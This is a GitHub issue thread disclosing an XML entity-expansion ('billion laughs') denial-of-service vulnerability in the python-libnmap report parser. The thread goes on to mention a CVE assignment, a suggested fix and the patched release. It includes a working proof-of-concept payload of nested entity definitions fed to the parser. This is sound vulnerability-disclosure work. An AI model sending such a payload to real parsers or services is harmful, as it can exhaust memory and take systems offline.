Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XML Injection DoS attack #87

Closed
prodigysml opened this issue Feb 1, 2018 · 5 comments
Closed

XML Injection DoS attack #87

prodigysml opened this issue Feb 1, 2018 · 5 comments
Labels

Comments

@prodigysml
Copy link

Issue

Libnmap is vulnerable to XML Bomb attacks using the following:
https://en.wikipedia.org/wiki/Billion_laughs_attack

Where the Issue Occurred

The issue occurs within parsing of XML reports for nmap. The exact line where the vulnerable parsing occurs is given below:

root = ET.fromstring(nmap_data)

Reproduction steps

Run the following code:

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)

Remediation

Python does not contain any fixes for this vulnerability, but that doesn't mean it can't be fixed. Searching for the word DOCTYPE, prior to parsing, and raising an exception should patch the issue.

@carnil
Copy link

carnil commented Jul 15, 2019

This apparently was assigned CVE-2019-1010017.

@cooperlees
Copy link
Contributor

It seems there has been somework on XML bomb attacks in the past. Maybe it's best to update here and get it fixed?
https://bugs.python.org/issue17239

@huntr-helper
Copy link

Please refer to #101 for a suggested fix.

savon-noir added a commit that referenced this issue Nov 23, 2020
@savon-noir
Copy link
Owner

savon-noir commented Nov 23, 2020

will be fixed by PR #107 as soon as travis wakes up

@savon-noir
Copy link
Owner

fixed by new release v0.7.2.

Package is also available in pip:

ronald@brouette:~/dev$ pip3 install python-libnmap==0.7.2
Collecting python-libnmap==0.7.2
  Downloading python-libnmap-0.7.2.tar.gz (36 kB)
...
...
Successfully installed python-libnmap-0.7.2
ronald@brouette:~/dev$ 

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

5 participants